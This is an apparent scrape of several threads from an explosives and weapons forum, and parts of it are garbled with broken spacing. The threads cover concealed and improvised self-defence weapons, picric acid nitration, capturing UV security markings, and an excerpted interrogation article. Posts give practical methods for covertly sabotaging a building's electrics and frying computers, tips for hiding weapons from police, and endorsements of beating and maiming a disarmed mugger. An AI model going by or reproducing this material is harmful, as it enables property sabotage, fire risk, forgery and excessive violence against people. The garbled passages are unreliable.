The tip-barrel feature makes bore cleaning a breeze. Small pricetag and quality of manufacture leads me to give them from
experience an A+. ;)
As for the shitty laws regarding our English brother's firearm or defense weapon carry, I am appalled and saddened by this.
America, beware... this is your future if the government is left unchecked and unhindered! Vote with a ballot today, perhaps a
bullet tommorrow!
--------------------------------------------------------
FG's Definitions:
POCKET GUN: A firearm small enough to comfortably fit concealed inside the rear pocket of one's denim jeans.
WEB-RIPPER: A pistol too small for the average hand to hold comfortably, thus usually resulting in the slide recoiling into the
fleshy webbing of the hand between thumb and forefinger, much cursing, and finally a bandage wrap.
BELLYGUN: A small handgun with accuracy not much beyond thrusting the muzzle into an opponent's belly and firing.
CLOSET PISTOL: A small pistol with acceptable accuracy so long as target and shooter are both confined within the same closet
space.
[Edit: Redundancy and spelling]
rollinground August 13th, 2006, 02:52 PM

I was reading through some old shooting magazines the other day from 1985-1988, and I serioulsy find it hard to believe that
they were published in britian, everyone seemed to have the mentality of the right to keep and bear arms, and a true love of
the sport of shooting. The contrast in todays magazines in amazing. Somewhere along the line in the last 20 years the
majority of britain has lost its way. It has become a nanny state where the majority of the public dont feel safe and rely on the
powers of the goverment to sort all the problems this country has.
20 years ago gun crime was practically non-existant compared with today, since handguns have been outlawed the shootings
and violence in general has shot through the roof, we are living in a much more dangerous society now than ever and
disarming the general public isnt helping obvioulsy, they still keep on though, they want to licence airguns, ban all replicas and
deactivated guns, it is ridiculous that they cant see that this hasnt and never will help, the violence and crime is going to get
much worse before it gets better.
There is nowhere that I have been to in the whole world that I feel more unsafe than I do in englands citys. And im suppose
to call this country home!
Home gives me images of warmth and security! Instead my home(country) is full of paranoia and violence.
Sorry about the bad grammar, Nbk thanks for taking the time to clean my post up, I will read through my posts more
thoroughly before posting. I want to keep the place looking nice to, this is the only mature forum of the kind and I'm very
thankful to be a member. I'm slightly dyslexic so I do sometimes get words a bit mixed up but I will try my best to keep it
neat.
A.C.E. August 18th, 2006, 08:31 AM

The country I live in has roughly the same rules as the UK has. Here you will actually end up in police records (meaning you
will most likely never be allowed to work with anything more interesting than cleaning sewage drains) for carrying any type of
knife in a public place. Using it on someone, self defense or otherwise, is likely to put you in jail or making you pay some
serious fines for something similar to "assault with deadly weapon".
Tasers, OC sprays and so forth are banned and should the pigs find it in your possession, then you're in for serious trouble.
Of course you still have to defend yourself. The trick is to have low profile weapons that won't arouse suspicion if you are
cought with them. I carry a small folding knife (walther tactical knife II). It can be opened with one hand and the blade has a
tapered point so it could be used for stabbing if neccecary. The edge is partially serrated so it works decently (for a folding
knife) to slash with as well.
I also carry a wooden fist enhancer, it makes the fist incredibly hard and sticks out a little bit from the fist so the ends can be
used for hitting harder parts of the body as well. A small tap on the temple will end fight very fast.
The main reason for chosing the knife is that I most likely could get away with carrying it, a small folding knife doesn't look as
bad as beeing cought with as a boot knife or hunting knife. The second reason is that it was cheap and should I need no get
rid of it I'll simply throw it away and buy a new one.
Bugger August 18th, 2006, 09:50 PM

In New Zealand, one can be fined for "carrying an offensive weapon in a public place", be it an unenclosed firearm, an airgun,
a knife, a sword (these either of a type suitable for combat, or under circumstances indicating an intention to use it as a
weapon), a broken bottle, or a long piece of wood or metal clearly intended to be used as a clubbing weapon.
In addition, there are firearm-specific offenses such as "presenting a firearm", "discharging a firearm in a public place without
lawful excuse", and "unlawfully possessing a firearm or ammunition or explosives without the appropriate grade of firearms or
dangerous goods license".
These are usually dealt with under either the Summary Offenses Act or Arms Act, and attract moderately severe fines, or in
some cases non-custodial community sentences. More serious offenses, such as "assault with a weapon with intent to injure",
"threatening to kill", "careless use of a firearm causing injury or death", and of course murder/manslaughter, are usually
Crimes Act offenses and usually attract jail sentences.
People aged over 16 in N.Z. can legally own an airgun without any licensing, and licences to possess sporting shotguns (for
hunting ducks etc.) are fairly easily obtainable. Licenses to possess rifles suitable for killing livestock on farms, deerstalking,
or for predator or vermin control (mostly in rural areas, for wildcats, wild dogs, opossums, stoats, etc.) are slightly harder to
obtain.
But it is much harder to obtain a pistol license (a pistol being defined as any firearm with a barrel shorter than 30 cm), except
by being either a registered member of an approved pistol shooting club (which takes custody of the pistols when not in use),
or a dealer, or an antique arms collector. In all cases, license-holders have to also possess approved secure gun-cabinets for
storing firearms when not in use.
Chaosmark August 19th, 2006, 12:05 AM

Back to the original question, I don't actually carry a weapon in the sense that I use it for self defense, but I do carry a pocket
knife, simply as a tool in case I need it.
In contrast, I have enough martial arts training that for the most part, I AM a weapon. It's served me well so far, and I've
been in enough scuffles to establish myself as a target that fights back. They don't consider me worth the trouble anymore, so
I get left alone. And that's the ultimate point of self defense, isn't it?
Though it IS rather funny to see them sulking off with the best shiners I've ever seen. :D
Jome skanish August 19th, 2006, 10:46 PM

Usually I wouldn't carry a weapon, but since some idiots decided to visit and make threats to my brother last week Im now
carrying a stupid eight-inch maglite-type flashlight that I'd use as a kubotan. Obviously this weapon sucks, but since
everything is illegal in this country... There were four of the idiots and they were carrying stilette knives.
If they're dumb enough to visit this house again it'll be a bit different since I've taped a 40cm (16 inches) rockwoll-knife to a
160cm (63 inch) broomstick to make a spear. The range of the weapon would fuck them or, as Im hoping, scare them away.
I love the rockwool-knife. It just says "cut the tall (or in this case dark) trees down"
Martial arts can be useful, but not against knives. It takes years of intensive training to even stand a chance, all those "kick
the knife off" or "grab the arm" is just bullshit. Run like hell and pick up a rock along the way.
anonymous411 August 20th, 2006, 10:31 AM

I couldn't be more pro-Second Amendment if I tried, but all the same, it's important not to let carrying a weapon lull you into
smug complacency and a false sense of security. Situational awareness is everything. What good is your weapon when you
never even saw it coming? Anytime you feel like an invincible super badass, quietly pause to reflect on the phrase "300 yards
in the back" as a memento mori.
Personally, I carry nothing more than a well-sharpened 4 3/8 inch Alpineer Swiss Army knife. Why? Because from the
psychological perspective of the average person, "Swiss Army Knife" equals "totally harmless". So much so, that once when I
was once searched for weapons, they never even bothered taking it away from me. That's right, I had a 4 3/8 inch knife, and
they barely even looked twice. Something to consider the next time it's to your advantage to pass for a squeaky-clean "solid
citizen".
SWISS ARMY ALPINEER

http://www.minitools.co.uk/products/victorinox/images/alpineer.jpg
c.Tech August 21st, 2006, 05:02 AM

Many of you would probably already know of this weapon but I thought I should post it here.
It's an easy, extremely improvised weapon made from paper in under 30 seconds.
First roll up a section of the newspaper, a few A3 sheets of paper or other source into a flat roll about 4cm in width and 40cm
in length. Next fold both ends towards each other until they meet. When the end tightens up it will be, or at least feel like, as
hard as wood.
With training a blow to the temple could be deadly, I'm going to practice using this weapon for future self-defence.
You could just say to pigs that you rolled up paper so it would fit in your pocket (it fits perfectly :)).
Misanthropologist August 30th, 2006, 09:48 AM

I live in the US, in a small town in North Carolina. Although it is technically legal to carry weapons for my personal defense, the
police here are keen on harassment of individuals intent on putting their rights into practice. As a teenager, I used to hang
out at a house that happened to be raided by swine on a generally biweekly basis.
Now, besides the usual underage drinking and occasional surfacing of a controlled substance, nothing ever came of these
raids(besides some knowledge gained on the techniques involved). It took me awhile, for some reason, to figure out the real
reason for these raids-I'll keep that out here, I may go into a rather lengthy rant. Those people who hung out there, myself
included, were subjected to illegal searches, personal property was "confiscated" for no reason, I was even held illegally in the
county jail(If your under 16, they arent supposed to hold you overnight-they held me 3 days).
At the time I was having pretty serious problems with some ignorant rednecks, so kept a knife close by at all times. Most of
those were "confiscated". My point is, I learnt to carry weapons that can't really be called weapons until used as such. Some
are disguised as "fashion accessories"-my belt for awhile was a length of thick chain attached with a heavy padlock, the key
left in. Some just seem like the other seemingly random objects I always carry on mean iron bar about 4 inches long for use
as a fist brace/weight, probably too heavy for hitting someones face, you'll break your hand, hit the ribs. I always wear my
Legionaires coat, the wool is thick enough to deflect many slashing weapons and i've learnt to stand in a way that makes it a
shield against bludgeoning/punching. I wear hard-soled boots. Some of the other random items in my pockets are for use as
missile weapons-a short tube can really sling a ball bearing, and surprises the shit out of the belligerent redneck fucker trying
to start a fight, you have to practice your aim though, and not have any compunctions against "dirty fighting". I think I'm
paranoid sometimes, but ive had to use these and other similar items more than once and they seem effective enough.
BeerWolf August 30th, 2006, 05:50 PM

I legally carry a concealed .45 ParaOrdinance pistol as the norm. In the summer, I sometimes carry a Makarov in .380, as it
conceals better under light clothing. My jeep has a 12 gauge Mossberg for more serious work.
I feel sorry for you poor guys in England. Come on over. A lot of stuff sucks here, but I get the impression it sucks a lot worse
in the EU.
I have a Ruger mark II on the table in front of me. The serial # is stamped on the tubular receiver, NOT the barrel.
I just finished detail stripping it, and gave it a good clean. 14 minutes to strip and inspect, 10 to clean, 16 to oil it and put it
back together. Including drying time, and extra oiling time (it's going into storage for a bit) 1 hour, 10 min, while eating lunch.
A routine field strip and clean takes me about 25min on the average.
Only thing I have that cleans easier is the Makarov. Worst is my FN-Fal.
-BW
(edited for spelling)
Lewis August 30th, 2006, 08:50 PM

I live in a fairly rough town, but I realize that our local gang members don't fight fair, so it dosen't matter if you have a knife,
because there will always be 5 of them, and they will all have knives/bats.
I think the best self defense methods are some basic martial arts, awarness of your surroundings, and most importiantly,
traveling with a crew.
Generally you won't get fucked with if you're got 4 friends to back you up.
That being said, there are exceptions to this. A friend of mine was walking with friends a few blocks from my house at
midnight and they all got jumped. He regained conciousness a week and a half later in the hospital, and others were injured
as well.
The only weapons I have lying around my house for defence against break-ins is a short sword (ornamental, but sharp), a
pellet gun, and a compound hunting bow.
prisoner2187 August 30th, 2006, 09:54 PM

When I walk around my college campus i have a 100,000 volt tazer and a pair of handcuffs on me. I'm sure i have a knife
somewhere, just a simple cheap but sharp folder.
When walking down the street, I sometimes feel comfortable carrying a butterfly (balisong) knife. I picked one up in mexico.
Balisongs are unfortunately illegal to carry here in california.
Most of the time I dont really have an actual dedicated weapon on myself. If I feel the need, I can always use some Brazilian
Jiu-Jitsu techniques or chokes. I like the idea of your attacker going unconscious and losing his bowels. That just makes me
feel good inside to know how embarassed he would be, whilst seriously reconsidering who he messes with in the future.
Overall, the tazer and handcuffs are my favorite.
The ASP batons are nice, I had one in my car for a while, but it was broken into recently, and was stolen, along with my
pockpicking kit and CD player. Since then, it has been my personal quest to look more carefully for burglars who deserve to be
knocked out and handcuffed naked to a light pole for the day.
nbk2000 August 31st, 2006, 12:11 AM

...along with my pockpicking kit...
Perhaps you should see a dermatologist about that skin problem, Baron. ;) :D
I've any number of videos showing fights where one guy gets another in a headlock, only to get kicked in the head numerous
times by the choke'es friends.
Once you've latched onto someone to choke them, you've immobilized yourself, making you an easy target.
Rather than trying to fight 5 people, outrun them. Or, failing that, impair all of them first (pepperspray?) then take them out
one-by-one.
If you're skilled and in good shape, one man can take on 5, but only one at a time.
Czech Guy August 31st, 2006, 05:34 AM

There has been a lot of talk of using a gun for self-defence; it is most likely the best weapon you could carry for self-
defence, if you know how to use it. I am a gun owner but I choice not to carry a gun for these reasons. The first is that in
Australia the laws are very strict on carry any weapons. Even the baton I carry would be illegal (so would things like pepper
spay and other products). The next problem would be that the laws for defending yourself are also as strict and cause more
harm then good. If I were to get caught using the baton for self I would get in deep for that if I was caught carrying a gun for
self-defence I would face serious cha rges a nd since most of the violence is cause by wann a b e e g a ngsters and hoods that
uses things like poles and large kitchen knives (that they by from a supermarket). So I have no real reason to carry a gun.
Since I made this post, I will tell you about what happen to me 3 days ago. I was walking from work and took the regular side
street to get to the car park when this wannabee hood pulled a knife and told me to hand over my cash and mobile phone, so
I reached for my baton (he thought I was reaching for my cash) and hit him right on the hand causing him to drop the knife ,
I than hit him on the head repetitively followed by a lighter hit to the throat . He than went down like a ton of bricks so I
clubbed him with the baton (at this point I had gone well over the point of self-defence). He was really in a world of shit after
the beating he took. I than kicked in the head once or twice and walked away as if nothing had happened. Maybe he will think
twice before trying that again
nbk2000 September 1st, 2006, 08:43 AM
Should have used the baton as a fulcrum for dislocating his shoulder or breaking his knee. Nothing like a cast and a limp for
life to make one rethink the errors of ones way. ;)
Or use his own knife to cut his hamstrings. Not many muggers rolling around in wheelchairs. :D

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Frying down power installation
of a building/flat
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View Full Version : Frying down power installation of a building/flat
akinrog July 1st, 2006, 10:55 PM

There was a thread related to this topic but I would be damned if I could find it. Maybe it was the victim of I-defense inciden t.
Maybe this is kewlish but as far as I re m e m ber that thread contained info how to destroy power installation of a building. It was
referring to special (im provised) devices to be plugged in power outlets inside the building and when time comes, it trips and
destroys the power system . But I cannot find it. :m ad:
Hypotetically speaking if circum stances arises, is it possible to fry down p ower system of a flat supplying electricity (I'm not
sure but either from a arc welder's output, i.e. low voltage high amperage, or an improvised HV device, i.e. high voltage, low
a m perage).
I think it's possible to do the job by means of an arc welder's output to be applied building side term inals of the circuit
breakers after tripping them off (i.e. switching them off), thereby cutting the power from the grid to protect AC current from
destroying arc welder.
W hat do you think about such a t h i n g ? R e g a r d s .
inventorgp July 2nd, 2006, 10:03 AM

Hm m...
Cutting the cables.
B r e a k t h e b r e a k e r s - H e l l o M r H a m m er.
Short the system , screwdriver. Use earplugs and welders gloves.
Short the grid, by means of throwing cable over the power lines.
EMP? How m uch are you willing to spend?
Explosives in the electrical box.
Or shaped charges attached to a transformer (grid).
I don't think HV will kill m echanical devises (power meters) but,

it might kill electronic breakers.
And if you have the standard (Aus) 240VAC 10A socket, it hurts a bit:p

Hm m...
Cutting .........
W hat I'm trying to do is to stealthily destroy/damage the appliances connected to the building's / flat's power installation.
Since I am depriving sleep for a long time, I m isphrased what I'm i n t e n d i n g t o e x p r e s s .
Nowadays, almost all appliances are closed circuit (i.e. they are always connected and energized) thanks to push bu ttons.
Consider your ATX com puter, it's always energized, your TV set it's always energized.
Since I'm ignorant of the English term s for which I'm r e s e a r c h i n g , m y g o o g l e s e a r c h e s y i e l d n o t h i n g : m a d :
Actually what I'm doing is an attem pt to convert probably kewlish discourse into som e t h i n g g o o d .
Majority of the m eter and circuit breaker boxes are located outside the flat which can be easily accessed.
May be a large capacitor bank a n d a s p a r k g a p trigger geared to live and neutral lines after the circuit breakers are the way to
go. There will be m inimal electrocution possibility (from the 220 / 110 V power grid) since before the attack you shall turn off
circu it breakers thereby cutting the power supplied from main grid to building/flat. (But as for the electroction possibility from
the improvised device it is very likely :eek: .)
Since you are cutting the power it's essential that the building / flat is vacant. Oth erwise the plan shall be total failure since the
occu pants sh all sim ply come out for determ inin g cause of the power failu re.
Jacks Complete July 2nd, 2006, 08:05 PM

Not sure of your aim here, but I think if you want to interupt power, doing it intermittently is the best way to do it.
Any building that has a R CD p rotection will trip out with just 30mA flowing to earth (or, indeed, a mismatch of 30m A between
live 'in' and neutral 'out'). Take a standard plug adapter, and wire it so that you have a switching interm itte nt earth fault. Use a
resistor to limit the current so our device survives, and a capacitor to soak up the 30mA then spit it out again, and you are set.
Just plug it into any socket, and let it randomly trip the power out. Use a 555 tim er on a long delay for best effect - the high er
t h a n r e c o m m e n d e d p airs get really flaky, tim e-wise, so you should be able to guess at 24+/-8 hours, or something. Since the
circu it resets a bit each tim e the power goes off, it will take ages for anyone to sp ot a pattern, unlike if it was at 6pm every
day.
Another way would be to rig something like a big generator into the power line, and fire it up set to 230/240V (Euro voltage)
rather than the limp 120V US system. Should cause some issues.
If you want to kill com puters, the best thing to do is a brown-out, which is where the power doesn't fail completely, it just dro ps
in voltage. This is a bit harder to do, b ut wobbling the voltage up and down so the lights dim right down, then bringing it back
up a few tim es a bit random ly but quite fast, will frag any PCs without UPSs. For b est effect, do it a gain about 3 m in utes in,
roughly when scandisk is checking the host drive for errors if it cam e b a c k o n .
T h e o t h e r b e st is to connect a m ains lead to the network switch or network cable. It will fry a few network cards at least when
you toggle the power. O nly the very best devices will survive. Even m o d e m s, which are designed to live (or at least m itigate) a
lightning strike often leave a m otherboard doing odd th ings. As far as I know, network cards don't have any protection from
that.
Chris The Great July 5th, 200 6, 02:37 AM

If you wanted to kill power, sim ply have a little plug in, controlled by rem ote or tim er, that shorts out and trips the breaker.
Shouldn't cost m ore than a few bucks, probably nothing if you scrounge. Probably will short together the relay too so it is
"stuck" and unable to turn back off, so the breaker will trip again everytim e it is reset. It will contin ue to do so until som e o n e
finds and removes the device, or the decive catches fire and burns down the building. Either works...
Jacks Complete July 5th, 200 6, 11:41 AM

The problem with the cheap m echanical timeclocks is they need power to the pins to run. Otherwise they would be perfect. The
s a m e with the electronic ones, as far a s I know.
I'm fairly sure a custom battery-backed circuit would be required.
kenneo S e p t e m b e r 1 6th, 2006, 11:48 PM

Cut the mains neutral conductor. If it is a single phase 120/240 system, This will effectively bum p up the voltage creating a
single 240V circuit throughout the system , causing most electronic device s connected to m eet their dem ise. Usually only
devices connected to 1 particu lar HO T LEG though.
Instead of cutting it you could just simply remo ve it(with gloves) then reconnect it. This would confuse even the m o s t s e a s o n e d
troublshooter. :eek: .

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Picric acid synth overdone? Nitration buffs
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View Full Version : Picric acid synth overdone? Nitration buffs
mattb July 3rd, 2006, 12:52 AM

Forgive me for drawing comparisons with the TNT synthesis(nitration of toluene), but I suspect picric acid synthesis is overdone at least for a pyro's needs. I've heard stories of
how much of a bitch the transition from DNT to TNT can be without a hot reaction environment or very concentrated HNO3 and H2SO4. Recall that the methyl group in DNT is a
mild electon donating group, yet there are two extra nitro group deactivating the ring. Coming back to picric acid, I wonder why the synths for picric have such concentrated
reactants HNO3 and H2SO4. Couldn't one get away with a mild heat source and considerably more dilute reactants like 70% H2SO4 and potassium nitrate because of the
hydroxy group in phenol? OH- is a good EDG and stable in resonance. So, did anyone get away with a comparably lower budget synth? Please share your various nitration
experiences with different starting materials.
FUTI July 3rd, 2006, 08:43 AM

First post an question!?
hint: you will have problem with NBK.
You obviously have some chemical knowledge or you have researched it elsewhere...if so why in the Gods name you didn't spot that search button that every forum (and so
naturally this one too) has.
hint: UTFSE!
When you do so, if NBK doesn't find you before or he isn't hungry today you will notice that most of your questions is asked and answered (at least I see it that way). Question
is interesting, and deserve attention at least from production point of view. Let me strike back with another question. If HO- group activates that ring towards nitration, why
does ussually we use salicylic acid for synthesis of picric acid? Wouldn't that -COOH block that position for nitration and deactivate the ring?
It is nice to see that students and learners are visiting this forum...but learn more please, we wish you long and prosperous life, to be able to do that you must quickly learn
that in explosives chemistry every experiment is your's first one. Picric acid synthesis is a bitch known to bite those who knows little (sometimes even those who knows a lot!).

in explosives chemistry every experiment is your's first one.And if it is a big beaker full of stuff, it might be your last.
I don't see the harm with a specific and nice question like this FUTI - has it been asked and answered elsewhere?
mattb July 3rd, 2006, 01:38 PM

I assure you picric acid is not priority on my agenda, but its higher than AP and HMTD because these have some downright scary (unstable) looking structures. Can ring strain
get any worse? My post didn't come as much as a question, but rather a proposal. Phenol is much more difficult to acquire than aspirin; however, I have seen synths that react
acetylsalicy. with H2SO4. H2SO4 is expensive, so why not use HCL. It's same with nitration: HNO3 is used, but it is little more than an expensive way to boost H3O+ conc for
nitronium ion formation (NO2+). From what I remember, HCL is more acidic than HSO4-, so adding HCL dropwise to a solution with H2SO4 and (insert metal)N03 seems
feasible.
ultrabuf July 3rd, 2006, 02:57 PM

I have read that HCl can be used to get a greater amount of precipitate in the TNP synth, posted on a different forum by Rosco Bodine I believe.
The_Duke July 4th, 2006, 12:06 AM

If HO- group activates that ring towards nitration, why does ussually we use salicylic acid for synthesis of picric acid? Wouldn't that -COOH block that position for nitration and
deactivate the ring?
We use acetylsalicylic acid because it is easily and cheaply available, as opposed to phenol. The HO- radical may activate the ring, but it also makes it more susceptible to
oxidation. The -COOH radical is very reactive and does not interfere with nitration much as long as the benzene ring contains a SO2-OH group.
I assure you picric acid is not priority on my agenda, but its higher than AP and HMTD because these have some downright scary (unstable) looking structures. Can ring strain
get any worse?
And you can tell that just by looking at the structures, but you are asking a jack-assy question like can ring strain get any worse? :rolleyes:
Phenol is much more difficult to acquire than aspirin; however, I have seen synths that react acetylsalicy. with H2SO4. H2SO4 is expensive, so why not use HCL. It's same with
nitration: HNO3 is used, but it is little more than an expensive way to boost H3O+ conc for nitronium ion formation (NO2+). From what I remember, HCL is more acidic than
HSO4-, so adding HCL dropwise to a solution with H2SO4 and (insert metal)N03 seems feasible.
Because it doesnt work that way
Learn more chemistry (or atleast show more of a willingness to learn and not ask stupid newbie questions) and for the love of god use the f uckin SEARCH button!!!).

Duke I'm quite aware of what you are talking. That should be a test question for our newbie to think about and answer. It is obvious that he has learned more then an average
kewls that bump here do. It is overconfidence he shows that scared me. I got an impresion that he didn't quite comprehend all that he learned/read.
Jack I agree...I wrote above that this is interesting question...but why did he open a new thread instead of finding some old one is beyond my imagination. I was thinking of
going back and quote in this thread particular posts from other threads that could give him an answer for the question he made but since he already has make another
"assumption" that I (and it seems Duke too) don't find correct, I give up spoonfeeding - and just strongly advise looong reading on the subject before next post.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Duplicating UV markings
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View Full Version : Duplicating UV markings
meestaeimaj July 9th, 2006, 04:47 PM

Hi there,
Does anyone know how I can obtain a scan or an electronic image of an ID marking from a piece of paper say ? Just so that the marking can be played about with in
photoshop and the like. Obviously these can be illuminated with a black light but how would one then obtain an electronic image of this without elaborate use of optics etc. ?
Thanks in advance - GREAT forum you guys have here.g

This is a pretty good question.
If you use a flatbed scanner, you won't be able to see the UV watermarking, etc. clearly. I would suggest that you use a quality camera, set to around the middle of the zoom
range for minimum distortion, and take a photograph of the target from a tripod, while lighting it with a UV lamp. Do this in a closed room, and use the focus lock once you
have a good image, then turn on the UV and turn off the regular light. I would suggest taking one intermediate photo, too, for calibration.
bipolar July 10th, 2006, 01:55 AM

I have also thought about the idea. You could somehow replace the lights in scanner with a bar of UV LEDs. They did this with blue LEDs to see the yellow tracking dots well
from laser printers.
Of course that would be time consuming and take a bit of skill. I agree the best way is to do as Jack described. Basicly like using a copystand with a high res digital cam for
getting almost a scan of a paper or photo.
The same should work with UV. You may still have to do some redrawing.
Multi-colored invisible UV inkjet printer cartridges are available now on the web, or fill them with the ink yourself.

Hi people, this post is somewhat unrelated to this topic, but I will ask here anyway.
I have tried to convert a old scanner in a similar way. I want to use one of those UV-CCFL lamps that are usually sold for "cosmetic" purposes (you know when some k3wl
want their PC have thematic look (like Doom or Quake inspired) and put a load of blinking, flashing lamps, see-through covers, eariee fans and other stuff in its case). But I
have a problem. Since I live in funny corner of the world, I can't find a firm that distributes those things. If anyone can help me, please send me a PM. I will post a results if I
obtain good one.
Just to state that I need this for scientific purposes only and I don't make fake IDs, money or whatever they tried so far to protect with UV markings.

I think you will have trouble getting the UV to go through the glass on the scanner bed if you swap out the lamps.
You can get UV LEDs that use a phospor to produce UV, I have one on a keyring. That would probably work, if it will transmit through the glass.
To scan the yellow laser dots, you can simply use the scanner like normal, then edit in software to se the dots, just use 600+ dpi.

I want to replace the glass on a scanner too Jack but that isn't to much of a trouble for me (that I can find here)...some specific optical elements I desperately search for are
those lamps (not the UV LED type though) and some filters for the old hand-held UV-lamp my lab has but since filters are almost destroyed it is hardly alive. Can anyone help
me about it?

You might want to try holding a black light on the other side of the paper and seeing if it illuminates well enough.
If it doesnt work.. then get a tripod, black light, a wall, some thumb tacks, and a camera. Tack the item to the wall at the same height as the lense. Zoom in on what you
want, if its large, zoom in on a quarter, maby less. Take pictures of it by turing the tripod head or if you want best results, I would recomend moving the tripod side to side and
up and down. Be carefull to move it and not rotate or adjust the distance, doing so would cause your post preduction work to get a lot harder (still easy with photoshop but
often time consuming and hard if you are not well aquanted with it).

I did try that Anira, but you wouldn't like to see results. Experiment was like this...plug out scanner lamp, place paper, lamp above the paper, scan. Unfortunately light intensity
of a lamp is much higher that scanner lamp so you have unequall illumination. In one sentence... it is well beyond enough illumination. I could try to work in a dark room and
reduce illumination by removing light source to a "trial-and-error-determined" distance to correct that problem.
But I want to made my scanner use UV lamp as a light source. Scanners work best if they reflect light of some object, when it comes to films they handle them much worse
(and only recently scanners become fitted to scan slides, negatives etc.) we already discussed that subject here...I tried that too and have some poor results..but I'm not giving
up that easy. Physics behind poor performance of scanners with films compared to paper is easy, so back illumination is a good choice. I have an idea that could kill two flies
with one stroke...UV lamp for scanner and fluorescent background cover. That way I hope to get UV reflection image on some objects, and pass through visible image on other.
NBK knows what I talk about. NBK can you help with that purchase?

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Methods of interrogation -
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What you don't know will hurt you. If you are ever asked questions by a cop, you will meet these nasty tricks to cajole a
confession from you, and they are often more effective than a beating, as well as admissable!
It is a game of chess to them, and they have nothing to lose, and they know the rules. You may well need them too!
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http://www.securityinfowatch.com/article/article.jsp?id=8631&siteSection=306
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Updated: July 7th, 2006 01:31 PM EDT
Methods of Interrogation: Techniques on Interrogation for Corporate Security
Using factual techniques, emotional appeals and a modified emotional appeal to allow your investigations to bear fruit
David E. Zulawski, CFI, CFE; and Douglas E. Wicklander, CFI, CFE
Special to SecurityInfoWatch.com
[Editor's note: The following article is excerpted with permission from chapter 22 of the third edition of The Process of
Investigation: Concepts and Strategies for Investigators in the Private Sector, published by Butterworth-Heinemann, and
authored by Charles Sennewald and John Tsukayama. The book is useful as a reference guide, though the clarity and
readability of the book makes it a useful self-study text for any security director or corporate investigator looking to hone his
or her skillset. The following section is from a paragraph that was authored by David Zulawski and Douglas Wicklander, and
which appeared in Sennewald and Tsukayama's text with permission from Wicklander-Zulawski & Associates.]
There are a number of different ways to conduct an interrogation of a suspect. The interrogator's selection
of an interrogation method often is based on the background of the suspect, amount of evidence
available, and possible response of the suspect to the interrogation. In instances where a number of
people were acting together to commit the crime it may be useful to have multiple interrogators available
to confront all of them at one time. It usually is preferable to conduct the interrogation in a surprise fashion, rather than
alerting the suspects that they are going to be questioned.
Preparing for the interrogation requires that the interrogator had sufficient rooms, interrogators, witnesses,
and resources to handle the number of suspects involved in the incident. In larger cases, such as
organized theft rings, this may become as much of an administrative problem as an interrogational issue.
Factual
In cases where extensive factual information and evidence is available to the interrogator he may elect
to use a factual approach. However, when considering whether to use a factual attack the interrogator
should evaluate the amount of evidence available and whether or not it should be revealed to the suspect.
In some instances revealing the evidence may compromise informants or other ongoing investigations.
The most effective use of evidence is to contradict statements or assertions previously made by
the suspect. The interrogator should ask the suspect questions to which he will likely lie to conceal his
involvement in the incident. Once the suspect has been sufficiently locked into his story or alibi the
interrogator can now begin to dismantle it using the evidence discovered during the investigation.
The evidence is presented in a nonemotional fashion by the interrogator. The interrogator offers
a piece of evidence that contradicts a previous statement by the suspect and asks for an explanation
from the suspect. The interrogator usually starts with seemingly insignificant pieces of evidence that
are at odds with the suspect's earlier statements. The suspect at first usually will attempt to explain
away the evidence until it becomes evident to him that he has been caught as the contradictions mount.
An interrogator using a factual attack generally will get an admission only to the incident he
already knows about and not other areas of involvement. The use of facts establishes to the suspect
what his area(s) of exposure are and also tells him what the interrogator likely does not know. This
then limits admissions into other areas of wrongdoing that were unknown to the interrogator. A second
consideration is that using a factual approach alone, without rationalization, means that the suspect
must admit to the crime and to the fact that he is a bad person. Combining rationalization with a
factual approach often makes it easier for the suspect to confess since he is able to save face.
Classic Emotional
The classic emotional approach to an interrogation does not require the presentation of evidence. In
this approach it generally begins with the use of a direct accusation, which accuses the suspect of
involvement in a specific issue.
Interrogator: "Our investigation clearly indicates that you are involved in the theft of the
missing cargo from the trailer."
Suspect: "No, I didn't do that"
Interrogator: "No, there is no question that you did, but what we are here to discuss is the reason
why it happened."
In response to the direct accusation the suspect almost always will deny using an emphatic denial.
The suspect often will continue to deny since he has to protect his initial lie. The interrogator will reaccuse
the suspect and then immediately turn to rationalization to offer face-saving reasons why the
suspect became involved in the incident. It is not unusual for the suspect to interrupt the interrogator's
rationalization to offer another denial. The interrogator must be alert for the behavioral clues associated
with a denial so he can interrupt the suspect before he can verbalize one.
If the rationalizations are successful, the suspect's denials will weaken and become less frequent
while his physical posture becomes much more open. As the suspect internalizes the rationalizations
he begins to think about confessing. Outwardly the suspect's physical behavior appears defeated. The
head drops, the shoulders round, and the eyes begin to tear as the suspect goes into submission. By
observing the suspect's physical behavior it becomes evident to the interrogator that the suspect is ready
to confess.
After carefully observing the suspect's physical behavior and recognizing that it is associated with
confession, the interrogator offers an assumptive question. The assumptive question is designed to
make it easier for the individual to confess. Instead of asking, "You did this didn't you?" the interrogator
asks a choice question based on the rationalization. "Did you plan this out or did you do it
on the spur-of-the-moment?" The suspect can make one of three responses to this question. He could
select either choice or he could continue to deny. Selection of either of the choices is an admission of
guilt to the incident under investigation and is supported by the interrogator, "Great, that's what I
thought."
The interrogator then begins to develop the admission, answering the investigative questions who,
where, when, why, and how. The suspect is locked into the details of his crime and the admission is
fully developed into a confession. Once this has been adequately developed, the interrogator then goes
on to obtain a statement from the suspect to preserve the confession for later use.
Wicklander-Zulawski Non-confrontational Method(TM)
The Wicklander-Zulawski Non-confrontational Method is a modified emotional appeal. The

primary strategy in this approach is to avoid forcing the suspect into a position where he has to deny
his involvement, which makes it more difficult for him to confess later. Instead, the Wicklander-
Zulawski (WZ) method takes advantage of the three primary reasons why a person confesses and
structures the interrogator's approach to move the suspect from resistance to acceptance without
denial.
The first part of the WZ method uses an introductory statement that helps the interrogator convince
the suspect that his guilt is known. The interrogator also has an opportunity at this time to
observe behavior and identify other areas of criminal activity that the suspect may be involved in. The
introductory statement consists of three parts:
*A description of the security function and its purpose

*A discussion of the different methods that could be used to cause losses or crimes
*How investigations are conducted
When adequately done, the introductory statement is a powerful tool to convince the individual
that his guilt is known. It also affords the interrogator an opportunity to behaviorally observe the
suspect's responses to a number of different methods of theft or crimes. Many suspects will react behaviorally
to methods of theft or crimes that they have committed, allowing the interrogator to gather
intelligence relating to the scope of the suspect's criminal activity.
The interrogator then moves through a highly structured planned approach using rationalizations
and dealing with internal conflicts in the suspect's mind. This approach concludes with the use
